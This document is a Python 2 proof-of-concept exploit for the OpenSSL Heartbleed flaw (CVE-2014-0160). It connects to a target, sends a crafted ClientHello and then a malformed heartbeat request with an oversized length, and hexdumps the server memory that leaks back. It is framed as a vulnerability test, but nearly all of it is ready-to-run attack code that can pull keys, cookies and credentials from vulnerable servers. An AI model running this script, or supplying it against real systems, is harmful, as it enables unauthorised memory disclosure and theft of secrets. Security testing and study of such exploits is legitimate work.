OpenSSL TLS Heartbeat Extension Memory Disclosure

`#!/usr/bin/python  
  
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])  
# The author disclaims copyright to this source code.  
  
import sys  
import struct  
import socket  
import time  
import select  
import re  
from optparse import OptionParser  
  
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')  
  
def h2bin(x):  
return x.replace(' ', '').replace('\n', '').decode('hex')  
  
hello = h2bin('''  
16 03 02 00 dc 01 00 00 d8 03 02 53  
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
00 0f 00 01 01   
''')  
  
hb = h2bin('''  
18 03 02 00 03  
01 40 00  
''')  
  
def hexdump(s):  
for b in xrange(0, len(s), 16):  
lin = [c for c in s[b : b + 16]]  
hxdat = ' '.join('%02X' % ord(c) for c in lin)  
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
print ' %04x: %-48s %s' % (b, hxdat, pdat)  
print  
  
def recvall(s, length, timeout=5):  
endtime = time.time() + timeout  
rdata = ''  
remain = length  
while remain > 0:  
rtime = endtime - time.time()  
if rtime < 0:  
return None  
r, w, e = select.select([s], [], [], 5)  
if s in r:  
data = s.recv(remain)  
# EOF?  
if not data:  
return None  
rdata += data  
remain -= len(data)  
return rdata  
  
  
def recvmsg(s):  
hdr = recvall(s, 5)  
if hdr is None:  
print 'Unexpected EOF receiving record header - server closed connection'  
return None, None, None  
typ, ver, ln = struct.unpack('>BHH', hdr)  
pay = recvall(s, ln, 10)  
if pay is None:  
print 'Unexpected EOF receiving record payload - server closed connection'  
return None, None, None  
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))  
return typ, ver, pay  
  
def hit_hb(s):  
s.send(hb)  
while True:  
typ, ver, pay = recvmsg(s)  
if typ is None:  
print 'No heartbeat response received, server likely not vulnerable'  
return False  
  
if typ == 24:  
print 'Received heartbeat response:'  
hexdump(pay)  
if len(pay) > 3:  
print 'WARNING: server returned more data than it should - server is vulnerable!'  
else:  
print 'Server processed malformed heartbeat, but did not return any extra data.'  
return True  
  
if typ == 21:  
print 'Received alert:'  
hexdump(pay)  
print 'Server returned error, likely not vulnerable'  
return False  
  
def main():  
opts, args = options.parse_args()  
if len(args) < 1:  
options.print_help()  
return  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print 'Connecting...'  
sys.stdout.flush()  
s.connect((args[0], opts.port))  
print 'Sending Client Hello...'  
sys.stdout.flush()  
s.send(hello)  
print 'Waiting for Server Hello...'  
sys.stdout.flush()  
while True:  
typ, ver, pay = recvmsg(s)  
if typ == None:  
print 'Server closed connection without sending Server Hello.'  
return  
# Look for server hello done message.  
if typ == 22 and ord(pay[0]) == 0x0E:  
break  
  
print 'Sending heartbeat request...'  
sys.stdout.flush()  
s.send(hb)  
hit_hb(s)  
  
if __name__ == '__main__':  
main()  
  
  
`